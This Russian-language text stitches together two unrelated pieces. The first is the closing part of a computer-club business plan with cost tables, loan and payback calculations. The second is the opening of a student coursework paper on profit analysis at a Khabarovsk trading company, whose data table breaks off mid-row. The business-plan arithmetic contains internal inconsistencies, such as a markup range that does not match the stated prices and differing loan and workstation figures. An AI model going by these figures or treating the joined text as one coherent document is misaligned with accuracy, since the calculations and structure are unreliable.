В дальнейшем требуется проводить комплексные рекламные кампании, проводить акции в школах, вузах, клубах, гостиницах. Необходимо использовать в качестве средств продвижения наружную рекламу, рекламу в СМИ, в транспорте. Необходима яркая и запоминающаяся вывеска. Помимо комплексных рекламных кампаний и расширения услуг, необходимо не забывать о личностном подходе к каждому клиенту. Это — лучшая реклама. Например, для привлечения посетителей можно открыть бесплатные курсы для начинающих пользователей персональных компьютеров.

4. Техническое обеспечение проекта

Оборудование компьютерного клуба – набор одинаковых компьютеров семейства IBM PC, соединенных в локальную сеть по протоколу Ethernet под управлением специальной программы управления компьютерным залом :

  • IBM PC – 80500 грн

  • Мебель (стол + стул) – 8750 грн

  • Сканер – 1000 грн

  • Принтер – 1000 грн

  • ИБП – 2000 грн

  • Ксерокс – 1250 грн

  • Коммутатор 24 порта – 2500 грн

  • Провода (электр. + сетев.) – 600 грн.

5. Риски проекта

Основной риск проекта – недостаточная занятость компьютерного клуба, которая не обеспечивает при данной средней цене за час рентабельность проекта. Основной источник данной проблемы – неправильно выбранное помещение либо в плане территориального расположения, либо в отношении высокой арендной платы, как основного источника расходов.

Риск выхода из строя и кражу компьютерного оборудования можно свести к минимуму, если установить источники бесперебойного питания и нанять доп. персонал – охрану.

Риск не соответствия размера помещения и компьютерного оборудования санитарным нормам.

6. Финансовый план

6.1 Расчет себестоимости производства единицы услуги

Себестоимость одного академического часа аренды компьютера Сак складывается из составляющих ежемесячных затрат в расчете на одну единицу времени на одно машино-место и зависит от проектируемого количества машиномест. Как видно из пункта 6.3 при планируемых возможных ежемесячных расходах оптимальное количество рабочих станций составит не менее 30 единиц. Составляющие себестоимости при таком количестве компьютеров будут равняться:

Расчет количества компьютеров (ежемесячные расходы – доп. доходы) / доход от одного компьютерного места: (20803-1000) / 1095)=18.1.

Т.е. минимальное необходимое количество компьютеров для погашения текущих ежемесячных расходов – 19 шт.

Для погашения банковского кредита с учетом банковского процента 20% и НДС 20% : (144000*(1+20/100)*(1+20/100)= 207360 грн необходимо: 207360/(12*1095)= 15.78.

Т.е. для обслуживания банковского кредита необходимо компьютерных мест 16 шт.

Всего необходимо компьютерных мест: 19 + 16 = 35 шт.

6.2. Прогноз объемов реализации услуги

В идеале занятость каждого компьютера должна обеспечиваться 24 часа в сутки.

На практике интернет-кафе и компьютерные клубы не могут обеспечить 24 часа занятости в сутки для каждого компьютера. Занятость клуба в целом зависит от количества машиномест и варьируется от 5 до 24 часов.

Прогнозируем, что занятость каждого компьютера будет обеспечена на 18 часов в сутки.

6.3. Баланс доходов/расходов

Стандартная торговая наценка колеблется в пределах от 50 до 100 процентов. Соответственно, конечная розничная цена единицы услуги составит от 1,5 до 5,0 гривен. Расчетная цена единицы услуги в балансе доходов/расходов в 2 гривны выбиралась исходя из ситуации на рынке и конкурентоспособности ценообразования, т.е. из практических соображений. Как видно, эта цена попадает в теоретический диапазон расчетной розничной цены, что подтверждает жизнеспособность и прибыльность компьютерного клуба как бизнеса.

Основные расходы:

  • заработная плата персонала с налогами – 9003 грн ;

  • аренда помещения – 5000 грн ;

  • коммунальные платежи – 300 грн

  • доп. расходы – 500 грн ;

  • аренда Internet канала – 500 грн

  • амортизационные отчисления – 2033 грн ;

  • налог на добавленную стоимость – 3467 грн ;

Основные доходы:

  • арендная плата с компьютерного места – 38325 грн ;

  • доп. услуги – 1000 грн.

1. Смета расходов на 1 месяц (R1)

1

Ежемесячные расходы

Кол-во

Цена, грн

Сумма, грн

1.1

З/п персонал с налогами

1.1.1

Директор

1

1000

1000
1.1.2

Гл. бухгалтер

1

700

700
1.1.3

Сист. Администратор

1

700

700
1.1.4

Менеджер

3

700

2100
1.1.5

Охрана

3

600

1800
1.1.6

Уборщик

1

300

300
Итого по з/п:

6600
1.1.7

Соц. страхование 2.5%

165
1.1.8

Пенсионные отчисления 32%

2112
1.1.9

Фонд занятости 1.9%

126
Итого:

9003

1.2

Аренда помещения

5000
1.3

Коммунальные платежи

300
1.4

Доп. Расходы

500
1.5

Аренда Интернет канала

500
Итого:

6300

1.6

Амортизационные отчисления 25%

2033
Итого:

17336

1.7

НДС 20%

3467
Итого:

20803

2. Доход от одного компьютерного места в месяц (D1)

2.1. Средняя занятость – 18 час в сутки

2.2. Принятая арендная плата – 2 грн/час

2.3. Расчетный доход в месяц — 18*2*( 365 / 12) = 1095 грн

3. Дополнительные услуги (дополнительные доходы) в месяц (D2)

Печать документов, сканирование, ксерокопия, запись на CD – 1000 грн

4. Расчет минимального количества компьютерных мест

Расчет количества компьютеров (ежемесячные расходы – доп. доходы) / доход от одного компьютерного места: (R1 – D2) / D1 = (20803 — 1000) / 1095 = 18.1.

Т.е. минимальное необходимое количество компьютеров для погашения текущих ежемесячных расходов – 19 шт.

5. Расчет необходимого банковского кредита

Стоимость одного компьютерного места с программным обеспечением : 3400 грн.

Стоимость минимального необходимого количества компьютеров для погашения текущих ежемесячных расходов : 19*3400 = 64600 грн.

Стоимость оргтехники : 8350 грн.

Стоимость организационных расходов : 16500 грн.

Банковский процент за предоставленный кредит : 20%

Налог на добавленную стоимость : 20%

Дополнительное количество компьютерных мест N :

(64600 + 3400*N + 8350 + 16500 ) *1.2 *1.2 / (12мес * 1095) = N комп.

Откуда, N=15.6 компьютера. Дополнительное количество компьютерных мест равно N=16 шт.

Стоимость дополнительного количества компьютерных мест: 16*3400 = 54400 грн.

Необходимое количество компьютеров: 19 + 16 = 35 шт.

Необходимый банковский кредит для покупки оборудования и организационных расходов : 64600 + 54400 + 8350 + 16500 = 143850 грн.

6. Начальный капитал

3.1

Стоимость оборудования

Кол-во

Цена грн.

Сумма грн
3.1.1

Компьютер

35

2300

80500
3.1.2

Windows 98

35

350

12250
3.1.3

Лицензионные программы

35

500

17500
3.1.4

Мебель (стол + стул)

35

250

8750
Итого:

3400

119000

3.1.5

Коммутатор 24 порта

2

1250

2500
3.1.6

Сканер

1

1000

1000
3.1.7

Принтер

1

1000

1000
3.1.8

Ксерокс

1

1250

1250
3.1.9

ИБП

2

1000

2000
3.1.10

Провода (электр. + сетев.)

600

600
Итого:

127350

3.2

Оформление юр. Лица

1500

1500
3.3

Лицензия на услуги электросвязи

2000

2000
3.4

Разрешительная док-ция (СЭС,ОГПС и т.д.)

2500

2500
3.5

Кассовый аппарат с документацией

1500

1500
3.6

Вывеска с разрешением, реклама

5000

5000
3.7

Выделенная линия Интернет

3500

3500
3.8

Оплата за первый месяц аб. платы Интернет

500

500
3.9

Ремонт помещения

Итого:

143850

Балансовая прибыль = (35 * 1095 + 1000)*12 – 17336*12 = 263868 грн.

За первый год:

Чистая прибыль = 263868 – 144000*0.2 – (35 * 1095 + 1000)*12*0.2 = 140688 грн

Со второго года:

Чистая прибыль = 263868 – (35 * 1095 + 1000)*12*0.2 = 169488 грн.

5. Прибыль от реализованного проекта

Чистая прибыль от реализованного проекта за первый год

140688 грн
Чистая прибыль от реализованного проекта за второй год

169488 грн

6.4. Расчет срока окупаемости

Для реализации проекта Интернет – клуба необходим банковский кредит в размере 144000 грн под 20% годовых. Расчет в п. 6.3 показывает, что проект окупится за один год. Банковский кредит 144000 грн с начисленными 20% годовых – 28800 грн и налогом на добавленную стоимость 20% — 34560 грн при использовании дополнительных 16 комп. мест погасится менее чем за год: (144000+28800+34560) / (12*1095*16) = 0.9863 года.

  1. Организационный план

Акционеры (совет директоров)

Директор

Системный администратор Охранник Бухгалтер Уборщица

Менеджер

8. Выводы

По сравнению с банковскими вкладами (до 20-35% годовых) вложение денег в компьютерный клуб более перспективно и выгодно. Если сравнивать этот бизнес с розничной торговлей (порядка 100% годовых) — компьютерный клуб не уступает в доходности и сверх того — является более привлекательным с точки зрения временных затрат со стороны владельцев. Организовать бизнес-процесс требуется только один раз при открытии клуба, а в торговле постоянно приходится заниматься поиском новых поставщиков и реализацией товарных остатков.

За первый год функционирования Интернет-клуба за счет прибыли будет погашен взятый банковский кредит под 20% годовых. Начиная со второго года

Проведенный финансово-экономический анализ проекта позволяет говорить о том, что представленный проект может быть реализован с высокой эффективностью.

Курсовая работа: Прибыль как обобщающий показатель, её анализ и планирование

Введение

Эффективность хозяйственной деятельности предприятия выражается в финансовых результатах. В условиях рыночной экономики возрастает значение коммерческой деятельности с целью получения максимальной прибыли для удовлетворения материальных и социальных потребностей работников и производственного развития предприятия.

Одним из основных требований успешного функционирования торгового предприятия в условиях рыночной экономики является безубыточность хозяйственной деятельности, то есть возмещение расходов собственными доходами и получение прибыли. Прибыль занимает одно из центральных мест в общей системе стоимостных показателей и рычагов управления экономикой.

Главной задачей предприятия является хозяйственная деятельность, направленная на получение прибыли для удовлетворения социальных и экономических интересов трудового коллектива и интересов собственника имущества предприятия.

В условиях рынка каждый хозяйствующий субъект является экономически и юридически самостоятельным. Предприятие самостоятельно формирует товарный ассортимент, определяет затраты, формирует цены, учитывает выручку от реализации, а следовательно выявляет прибыль или убыток по результатам деятельности.

Финансовый результат хозяйственной деятельности предприятия любой организационно-правовой формы представлен в виде прибыли или убытка. Прибыль отражает положительный финансовый результат. Стремление к получению прибыли ориентирует предприятие на увеличение выручки и снижение затрат.

Прибыль характеризует степень деловой активности и финансового благополучия организации, её конкурентоспособности и платежеспособности. Прибыль сигнализирует, где можно добиться наибольшего прироста стоимости, создает стимул для инвестирования в эти сферы деятельности.

Прибыль и рентабельность относятся к числу важнейших оценочных показателей работы организации. Получение прибыли является главной целью организации, поскольку различные стороны её деятельности получают оценку в системе показателей финансовых результатов.

Финансовый результат хозяйственной деятельности предприятия любой организационно-правовой формы представлен в виде прибыли или убытка.

Прибыль – важнейший показатель и источник финансирования хозяйственной деятельности предприятия, функционирующего на началах коммерческого расчета. Это означает, что каждое предприятие просчитывает целесообразность закупки товаров в том или ином объеме, оценивает возможности их реализации по сложившимся рыночным ценам.

К одному из основных критериев предпринимательской деятельности относится систематическое получение прибыли. Прибыль сигнализирует, где можно добиться наибольшего прироста стоимости, создаёт стимул для инвестирования в эти сферы деятельности.

Исходя из важности проблемы формирования прибыли, как основного источника развития предприятия выбрана тема курсовой работы «Прибыль как обобщающий показатель, её анализ и планирование» (на материалах ООО «АСП – Центр»).

Цель написания курсовой работы: разработка рекомендаций по совершенствованию планирования, увеличению прибыли и повышению рентабельности.

Основными задачами при написании курсовой работы явились:

изучение сущности и принципов формирования финансового результата в торговле, выявление факторов, влияющих на его величину;

проведение анализа и планирования прибыли и рентабельности по предприятию;

разработка рекомендаций по повышению эффективности коммерческой деятельности предприятия.

Объект исследования: ООО «АСП – Центр» изучение деятельности предприятия проводилось за период 2005–2009 год.

Методологической основой работы явились нормативно – правовые акты, а также труды ученых экономистов в области экономического анализа – М.И. Баканова, А.Д. Шеремета, Т.В. Савицкой и других, в области экономики торговли В.М. Семенова, А.Н. Соломатина и других. При выполнении работы также был использован практический материал исследуемого предприятия.

При написании курсовой работы использованы методы исследования: опытно – статистический метод, метод цепных подстановок, метод сравнения, графический метод, метод прямого счета, метод аналитического выравнивания.

1 Экономическое содержание финансовых результатов в торговле

1.1 Сущность финансовых результатов, их функции, принципы формирования в торговле

Эффективность производственной, инвестиционной и финансовой деятельности выражается в финансовых результатах. Для выявления финансового результата необходимо выручку от реализации товаров сопоставить с затратами на производство и реализацию: когда выручка превышает затраты, тогда финансовый результат свидетельствует о получении прибыли.

При равенстве выручки и затрат удаётся лишь возмещать затраты – прибыль отсутствует, а следовательно, отсутствует основа развития хозяйствующего субъекта. Когда затраты превышают выручку, субъект хозяйствования получает убытки – это область критического риска, что ставит предприятие в критическое финансовое положение, не исключающее банкротство. Убытки высвечивают ошибки, просчёты в направлениях использования финансовых ресурсов предприятия. Прибыль отражает положительный финансовый результат. Стремление к получению прибыли ориентирует предприятие на увеличение объёма продаж, снижение издержек обращения.

Прибыль представляет собой конечный финансовый результат хозяйственной деятельности предприятия. Однако, финансовым результатом может выступать не только прибыль, но и убыток, возникший, например, по причине чрезмерно высоких затрат или недополучения доходов от реализации товаров в связи с уменьшением объема поставок товаров, снижением покупательского спроса.

Прибыль в торговле является денежным выражением стоимости прибавочного продукта, созданного производительным трудом работников торговли, которые заняты продолжением процесса производства в сфере торгового обращения, а также части прибавочного продукта, созданного трудом работников других отраслей народного хозяйства (промышленности, сельского хозяйства, транспорта и др.).

Наиболее полно экономическая сущность прибыли торгового предприятия проявляется через функции. На рисунке 1 представлены основные функции прибыли.

Прибыль выступает как:

главная цель предпринимательской деятельности и фактор повышения материальной заинтересованности работников;

мера эффективности торгово-хозяйственной деятельности;

источник финансовых ресурсов для развития предприятия и источник увеличения его рыночной стоимости;

источник формирования доходной части федеральных, региональных и местных бюджетов;

источник удовлетворения социальных потребностей общества;

защитный механизм, предохраняющий предприятие от банкротства.

Прибыль – это конечный финансовый результат деятельности предприятия. При рыночной экономике результаты деятельности оцениваются системой показателей, основным среди которых является рентабельность, определяемая как отношение прибыли к одному из показателей функционирования торгового предприятия. При расчете рентабельности могут быть использованы разные показатели прибыли. Это позволяет выявить не только общую экономическую эффективность работы предприятия, но и оценить другие стороны его деятельности.

Нормой прибыли считается показатель рентабельности, исчисленный процентным отношением суммы чистой прибыли к объему товарооборота или стоимости всего капитала.

Расчёт общей экономической рентабельности (прибыльности) торгового предприятия выполняется по формуле:

Р=П/В∙100, ()

где Р – общая экономическая рентабельность хозяйственной деятельности предприятия;

П – сумма прибыли (от реализации, прибыли предприятия или чистой прибыли);

В-выручка от реализации (без НДС).

Данная формула расчёта применима и для определения прибыльности капитала торгового предприятия: показатель товарооборота надо заменить на показатель капитала.

По соотношению чистой прибыли и выручки можно более точно судить о финансовом результате деятельности предприятия. Оценка чистой прибыльности продаж имеет долгосрочный характер, поскольку определяет решение инвестора о вложении средств в капитал торговой фирмы путём покупки ее ценных бумаг.

Наряду с показателями выручки, капитала, основных и оборотных средств для расчёта уровня рентабельности (коэффициентов) применяются и другие показатели: издержки обращения, торговая площадь, численность персонала, каждый из которых подчеркивает определенный аспект результатов деятельности торгового предприятия.

Изучение системы показателей рентабельности торгового предприятия необходимо проводить в динамике и, если возможно, в сравнении с показателями других аналогичных торговых предприятий. Показатели рентабельности предприятия обобщены в таблице 1.

Таблица 1 – Расчёт показателей рентабельности торгового предприятия

Наименование

показателей

Условные

обозначения

Формула расчета рентабельности
Выручка

В

Прибыль от продаж

Прибыль предприятия

Прибыль чистая

П р

П п

П ч

Средняя величина всего капитала

К

Средняя величина собственного капитала

Кс

Средняя стоимость основных средств

ОФ

Средняя стоимость материальных оборотных средств

МС

Издержки обращения

ИО

Фонд оплаты труда

ФОТ

Рентабельность продаж товаров

Рт

П:В∙100%
Рентабельность всего капитала

Рк

П:К∙100%
Рентабельность собственного капитала

Р кс

П: Кс∙100%
Рентабельность основных средств

Р оф

П: Оф∙100%
Рентабельность материальных оборотных средств

Р мс

П:МС∙100%
Рентабельность издержек обращения

Р ио

П:ИО∙100%
Рентабельность расходов на оплату труда

Р фот

П:ФОТ∙100%

Уровень рентабельности, исчисленный отношением суммы прибыли от реализации товаров к сумме издержек обращения, показывает эффективность текущих затрат. Увеличение или сокращение издержек обращения непосредственно влияет на уменьшение или рост прибыли. Этот показатель рентабельности определяет эффективность торговой сделки по товарам.

Рентабельность, рассчитанная по отношению к численности занятых на предприятии работников, характеризует эффективность использования рабочей силы и показывает размер полученной прибыли в расчёте на одного работника.

Отношение прибыли от реализации товаров к величине торговой площади торгового предприятия характеризует размер полученной прибыли в расчёте на 1 квадратный метр площади магазина. Этот показатель свидетельствует об эффективности использования торговых площадей и основного капитала торгового предприятии, рациональное использование торговых площадей позволяет повысить размер прибыли.

1.2 Экономический механизм формирования прибыли

Основным источником формирования прибыли в торговле является валовой доход. Он представляет собой часть стоимости товара, которая предназначается для покрытия издержек обращения и образования прибыли.

Для обоснования сумм дохода предприятия торговое предприятие должно рассчитать план оборота по отдельным товарам и товарным группам, разработать для себя ценовую политику, в которой определить предлагаемую тенденцию движения цен и уровня надбавок, устанавливаемых предприятием. Тогда, плановая сумма дохода предприятия от реализации товаров составит формула:

ВД = (О*С)/100, ()

где ВД – плановая сумма дохода предприятия от реализации товаров;

О – плановый объём оборота торгового предприятия;

С – средний уровень надбавки по предприятию, % к обороту.

Торговое предприятие за оказываемые им услуги по доведению товара до потребителя и по его реализации взимает плату, которую можно назвать ценой торговых услуг. Это платой становится торговая надбавка к цене закупленных товаров. Торговая и оптовая надбавка являются основными источниками формирования валового дохода.

Основные требования, предъявляемые к обоснованию надбавок, заключается в следующем: они должны создавать условия для прибыльной работы торгового предприятия, отражать специфику реализации отдельных групп товаров, стимулировать эффективное использование имеющихся ресурсов, учитывать территориальное различие производства (поставщиков), пути продвижения отдельных товаров к потребителю.

Размер торговой надбавки определяется с учетом конъюнктуры рынка, соотношения между спросом и предложением на конкретный товар, свободной отпускной цены, издержек обращения, прибыли, ставок косвенных налогов и условий взаиморасчетов.

В соответствии с главой 25 НК РФ можно выделить следующие виды прибыли: прибыль от реализации, прибыль до налогообложения (прибыль предприятия), прибыль налогооблагаемую, прибыль чистую. Расчёт показателей прибыли осуществляется по формулам:

Пр = ВД – ИО, (1.2)

где Пр – прибыль от реализации;

Вд – валовой доход;

ИО – издержки обращения.

Пп = Пр + Дп – Рп, (1.3)

где Пп – прибыль предприятия (прибыль до налогообложения);

Дп – доходы прочие;

Рп – расходы прочие.

Состав доходов внереализационных определяется статьей 250 НК РФ. Они включают: доходы, получаемые от долевого участия в деятельности других предприятий, дивиденды по акциям, и другим ценным бумагам, принадлежащим предприятию, доходы от сдачи имущества в аренду и др. Состав внереализационных расходов определяется статьей 265 НКРФ. Статья учитывает расходы в виде процентов по долговым обязательствам, расходы в виде отрицательной курсовой разницы, потери от стихийных бедствий, судебные расходы, расходы по операциям с тарой, расходы в виде сумм штрафов, пеней, расходы на оплату услуг банков и другие, формулы 1.4 и 1.5:

Пн = Пп – У, (1.4)

где Пн – прибыль налогооблагаемая;

У – убыток, полученный в предыдущем периоде.

Пч = Пп – Н, (1.5)

где Пч – прибыль чистая;

Н – налог на прибыль.

Прибыль предприятия является конечным финансовым результатом хозяйственно-финансовой деятельности и рассчитывается, как сумма прибыли (убытка) от реализации товаров, основных фондов, иного имущества и доходов от внереализационных операций, уменьшенных на сумму расходов по этим операциям. Эта прибыль подлежит распределению между предприятием и государственным бюджетом.

Формирование финансовых результатов представлено на рисунке в приложении А.

Чистая прибыль представляет собой ту часть прибыли, которая остается в распоряжении предприятия после уплаты налога на прибыль. Основные направления использования прибыли, остающейся в распоряжении предприятия, определяются его учредительными документами или решением учредителей, в которых должно быть указано, какие фонды и в каких размерах создаются на предприятии. Определение направлений расходования прибыли, остающейся в распоряжении предприятия, структуры статей её использования находиться в компетенции предприятия.

К основным принципам распределения прибыли относятся:

– прибыль, получаемая предприятием, распределяется между государством и предприятием через уплату налога на прибыль;

– часть прибыли поступает в бюджеты субъектов РФ;

– величина прибыли предприятия, оставшейся в его распоряжении после уплаты налогов, не должна снижать его заинтересованность в росте товарооборота и улучшении результатов финансовой деятельности;

– прибыль, остающаяся в распоряжении предприятия должна вначале направляться на развитие предприятия, а потом на потребление.

Государство не устанавливает каких-либо нормативов распределения прибыли. В целях использования прибыли создаются фонды: резервный, фонд накопления и фонд потребления. Распределение чистой прибыли – это вопрос инвестиционной и технической политики, а в акционерных обществах это еще и вопрос дивидендной политики. Торговля – это наиболее выгодная отрасль капитальных вложений, так как срок их окупаемости сравнительно невелик, а прибыль на вложенный капитал обеспечивает быструю окупаемость вложений. Применение более квалифицированной рабочей силы, прибыльное размещение капитала, внедрение новых технологий бизнеса зависят от такого фактора, как предпринимательская способность руководства предприятия.

Прибыль, остающаяся в распоряжении предприятия, распределяется на фонды накопления и фонды потребления. Эти фонды различаются по принадлежности к собственникам.

Нераспределенная прибыль – показатель, характеризующий экономический рост предприятия на основе собственных средств. В составе нераспределенной прибыли одна часть характеризует величину накопленной прибыли, вторая часть представляет собой свободную прибыль, т.е. прибыль, которая не получила по сути никакого направления.

В фондах специального назначения аккумулируется значительная часть прибыли, зарезервированной или направленной на образование источников финансирования затрат на создание нового имущества предприятия производственного назначения и социальной инфраструктуры, а также на нужды социального развития, материальное поощрение работников.

В аналитическом учете и бухгалтерской отчетности фонды специального назначения показывают раздельно по двум самостоятельным направлениям прибыли: фонды накопления и фонды потребления. Фонды накопления объединяют ту часть прибыли, остающейся в распоряжении предприятия, которая направлена на строительство и приобретение основных фондов, т.е. на создание нового имущества предприятия.

За счет средств фондов потребления работникам выплачиваются премии, не связанные с производственными результатами, различного вида поощрения, вознаграждения за долголетнюю трудовую деятельность, в связи с юбилейными датами и в иных аналогичных случаях. Социальные и компенсационные выплаты, произведенные предприятием сверх норм, установленных законодательством, также осуществляется за счет средств фонда потребления.

По экономическому содержанию фонды – это чистая прибыль отчётного года либо прошлых лет, распределенная по фондам для её целевого использования. Совет учредителей вправе направлять средства фондов на покрытие убытков, перераспределять средства фондов между ними, направлять часть средств на увеличение уставного капитала и финансирование других мероприятий. В любом случае на основании решения Совета учредителей перераспределение чистой прибыли оформляется протоколом.

Следует отметить, что показатели прибыльности (доходности) и рентабельности тесно связаны с финансовым состоянием организации. При прочих равных условиях прибыльные организации чаще всего являются платежеспособными, финансово-устойчивыми, располагают достаточным объемом ликвидных активов.

1.3 Факторы, влияющие на прибыль

Абсолютная величина и относительный уровень прибыли существенно изменяются под действием внешних и внутренних условий хозяйственной деятельности торгового предприятия.

К внешним условиям относятся изменения в законодательных и нормативных документах в области кредитования, налогообложения, ценообразования товаров народного потребления, оплаты труда работников, а также инфляция. Государственная политика доходов изменяет структуру спроса населения на товары и услуги. В условиях инфляции сдерживания индексации реальных доходов населения (пенсии, стипендии, денежные выплаты социального назначения, размер минимальной заработной платы) сокращается покупательная способность населения, что приводит к снижению объёма реализации товара.

Внутренние условия деятельности предприятия также оказывают влияние на нормирование прибыли. В связи с увеличением (сокращением) количества работников увеличиваются (уменьшаются) затраты на оплату труда и единый социальный налог, что влияет на рост (уменьшение) прибыли до налогообложения и соответственно чистой прибыли, хотя уровень рентабельности, исчисленный по отношению к обороту, может измениться незначительно или остаться на прежнем уровне.

Совокупность факторов, влияющих на прибыль, представляет собой систему, состоящую из нескольких элементов. Валовой доход от торговой деятельности, прибыль (убыток) от реализации основных фондов и иного имущества, сальдо доходов и расходов по внереализационным операциям представляют собой подсистему образующих факторов, от которых зависит формирование валовой прибыли.

Объём реализации товаров, издержки обращения, оборачиваемость и состав оборотного капитала, величина налогов, уплаченных предприятием, фондовооруженность и численность работников, розничные цены на реализуемые товары являются основными взаимовлияющими факторами на прибыль. В систему этих факторов входят элементы, которые традиционно не включаются при исчислении валовой прибыли, но на практике являются тактическими составляющими экономической прибыли. Эта группа расходов относится на прибыль, остающуюся в распоряжении предприятия. Одним из факторов, снижающих величину чистой прибыли, является изъятие средств у предприятия за допущенные нарушения налогового законодательства, за нарушение дисциплины цен. Величину чистой прибыли могут снизить от списания дебиторской задолженности, задолженности по недостачам, растратам и хищениям в связи с истечением сроков исковой давности, а также уплаченные штрафы, пени и неустойки.

Анализ факторов влияющих на прибыль, является экономической основой подготовки и принятия управленческих решений, направленных на выбор наиболее рационального пути дальнейшего развития торгового предприятия.

Выявление факторов, влияющих на финансовый результат, предполагает изучение экономических условий его формирования. Абсолютная величина и относительный уровень прибыли существенно изменяются под действием внешних и внутренних условий хозяйственной деятельности торгового предприятия.

2. Анализ и планирование финансовых результатов предприятия

2.1 Организационно – экономическая характеристика предприятия и анализ финансово-экономических показателей деятельности

Предприятие ООО «АСП» зарегистрировано в 2003 году Постановлением Главы администрации Железнодорожного района г. Хабаровска. Организационно – правовая форма – общество с ограниченной ответственностью.

Правовое положение общества определяется Гражданским Кодексом РФ, частью I.

В своей деятельности общество руководствуется федеральным законом «Об обществах с ограниченной ответственностью» действующим законодательством РФ и уставом предприятия.

Учредительным документом общества является Устав. Уставный капитал составляет 1500 тыс. руб.

Основной целью деятельности является:

насыщение рынка потребительскими товарами;

реализация социально – экономических интересов учредителей на основе извлечения прибыли.

Предприятие осуществляет следующие виды деятельности:

оптовая торговля, посредническая деятельность;

внешнеторговая деятельность в соответствии с действующим законодательством;

организация и проведение рекламных мероприятий, выставок-продаж, а также оказание услуг розничным предприятиям и индивидуальным предпринимателям.

Общество вправе заниматься любыми видами деятельности, не запрещенными законодательством РФ.

Общество самостоятельно осуществляет свою хозяйственную деятельность, несет ответственность за результаты своей деятельности, за выполнение взятых на себя обязательств по договорам, перед бюджетом, представляет необходимую отчетность и информацию налоговым органам и органам государственной статистики. Трудовые отношения и порядок оплаты труда лиц работающих по найму, регулируются Трудовым кодексом РФ. Режим труда и отдыха, система оплаты труда определяется трудовым законодательством РФ и внутренними нормативными актами, разработанными и утвержденными собранием участников общества.

Общество несет ответственность по своим обязательствам всем принадлежащим ему имуществом. Общество не отвечает по обязательствам участников, участники общества несут ответственность по его обязательствам в пределах вклада.

Общество имеет самостоятельный баланс, расчетный счет и иные счета. Общество осуществляет право владения, пользования и распоряжения своим имуществом. Имущество формируется за счет:

вкладов участников;

прибыли;

кредитов банка;

иных источников.

Прибыль общества подлежит налогообложению в порядке, установленном законодательством. Чистая прибыль распределяется и используется самостоятельно. Управление обществом осуществляется в соответствии с действующим законодательство и уставом. Общество вправе образовывать фонд социального развития и другие фонды. Органами управления общества являются:

общее собрание участников общества;

директор на правах единоначалия.

Высшим органом управления является общее собрание участников, которое проводится один раз в год. Руководство текущей деятельностью осуществляется директором, он избирается общим собранием сроком на пять лет. Участниками общества являются физические лица.

К исключительной компетенции общего собрания участников общества относятся:

изменение устава общества, изменение его уставного капитала;

решение о реорганизации или ликвидации общества;

избрание ревизионной комиссии;

утверждение годовых отчетов и бухгалтерских балансов и распределение прибыли.

Для реализации товаров предприятие располагает офисом по адресу г. Хабаровск, ул. Шмидта, 38, и складскими помещениями в размере 70 м2. Предприятие осуществляет оптовую торговлю офисным оборудованием и расходными материалами. Непосредственное управление торговым предприятием осуществляет директор. Директор действует от имени Общества, представляет его интересы и совершает сделки, открывает в банках расчетный и иные счета, издает приказы о назначении на должности работников, об их переводе и увольнении, применяет меры поощрения и налагает дисциплинарные взыскания, утверждает правила внутреннего трудового распорядка, разрабатывает и утверждает штатное расписание, положения об оплате труда, о премировании и другие внутренние документы, выступает в суде.

В ООО «АСП» работает 15 человек, то есть его можно отнести к малым предприятиям.

В системе торгового обслуживания на предприятии используют три метода реализации товаров: продажа товаров через Интернет, продажа товаров по каталогам, продажа товаров по образцам.

Крупным покупателям предоставляется скидка 7% и дает товарный кредит на 14 календарных дней.

ООО «АСП – ЦЕНТР» в соответствии с НК РФ применяет общую систему налогообложения, производит уплату налога на прибыль, налога на имущество, НДС и другие налоги.

Анализ хозяйственной деятельности является одной из важнейших подсистем общей системы управления торговым предприятием. На основе экономического анализа вырабатываются стратегия и тактика развития предприятия, обосновываются планы и управленческие решения.

Одним из важнейших условий успешного управления предприятием является анализ его основных экономических показателей, отражающих результаты хозяйственной деятельности.

Выручка от реализации в фактических ценах 2009 г. возросла по сравнению с 2008 г. на 10,7%, а в 2008 г. по сравнению с 2007 годом на 11,6% что в сумме составило 4080 и 4300 тыс. руб. соответственно.

Предприятие рационально использует свои трудовые ресурсы: в 2009 году по сравнению с 2008 годом, по фонду оплаты труда получена относительная экономия в сумме 80,1 тыс. руб. (-0,18*44500/100%). В 2008 году по сравнению с 2007 годом допущен перерасход в сумме 4,02 тыс. руб. (-0,01*40200/100%). Экономия получена за счёт снижения уровня расходов на оплату труда и роста оптового оборота. Темпы роста выработки опережают темпы роста средней зарплаты на 0,6% (103,3–102,7) в 2009 году и на 0,5% в предыдущем периоде. За исследуемый период увеличились темпы роста валового дохода: в 2009 году темп роста составил 118,8%, а в 2008 году 113,7%. Увеличение валового дохода произошло в основном за счёт роста выручки и за счёт увеличения среднего размера оптовой надбавки. Несмотря на сложные условия: повышение затрат и снижение темпов роста выручки, предприятие обеспечило прирост прибыли в 2009 году на 447,0 тыс. руб. а в 2008 году на 353,0 тыс. руб. Рентабельность предприятия составила 7,05%, что выше уровня 2008 года на 0,23%. В таблице 2 проведён анализ основных экономических показателей предприятия.

Таблица 2 – Основные экономические показатели ООО «АСП»

Показатели

2007 г.

2008 г.

2009 г.

2008 г.

% 2007 г.

2009 г. % к 2008 г.

отклонение, тыс. руб. +,-

2008 г.

2007 г.

2009 г.

2008 г.

Выручка от продаж товаров без НДС, тыс. руб.

36120

40200

44500

111,6

110,7

+4080

+4300
Численность работников, чел.

13

14

15

107,7

107,1

+1

+1
Товарооборот на одного работника, тыс. руб.

2778,5

2871,4

2966,7

103,6

103,3

+92,9

+95,3
Фонд оплаты труда, тыс. руб.

1684,8

1881,6

1998,0

111,7

106,2

+196,8

+116,4
Уровень фонда оплаты труда, %

4,66

4,67

4,49

100,2

99,8

+0,01

-0,18
Среднемесячная зарплата одного работника, тыс. руб.

10,8

11,1

11,4

102,7

102,7

+0,3

+0,3
Валовой доход, тыс. руб.

6717,0

7640,5

9076,5

113,7

118,8

+923,5

+1436,0
Уровень валового дохода, %

18,80

19,01

20,40

102,2

107,3

+0,41

+1,39
Издержки обращения, тыс. руб.

4164,2

4734,7

5722,7

113,7

120,8

+570,5

+988
Уровень издержек обращения, %

11,53

11,78

12,86

102,2

109,2

+0,25

+1,08
Прибыль от продаж, тыс. руб.

2552,8

2905,8

3352,8

113,8

111,9

+353

+447
Рентабельность по прибыли от продаж, %

7,07

7,23

7,53

102,3

104,4

+0,16

+0,30
Прочие расходы, тыс. руб.

137

170

230

124,4

135,3

+33

+60
Прочие доходы, тыс. руб.

9

5

13

55,5

260,0

-4

+8
Прибыль предприятия, тыс. руб.

2424,8

2740,8

3135,8

113,0

114,4

+315,2

+395,0
Рентабельность по прибыли предприятия, %

6,71

6,82

7,05

101,6

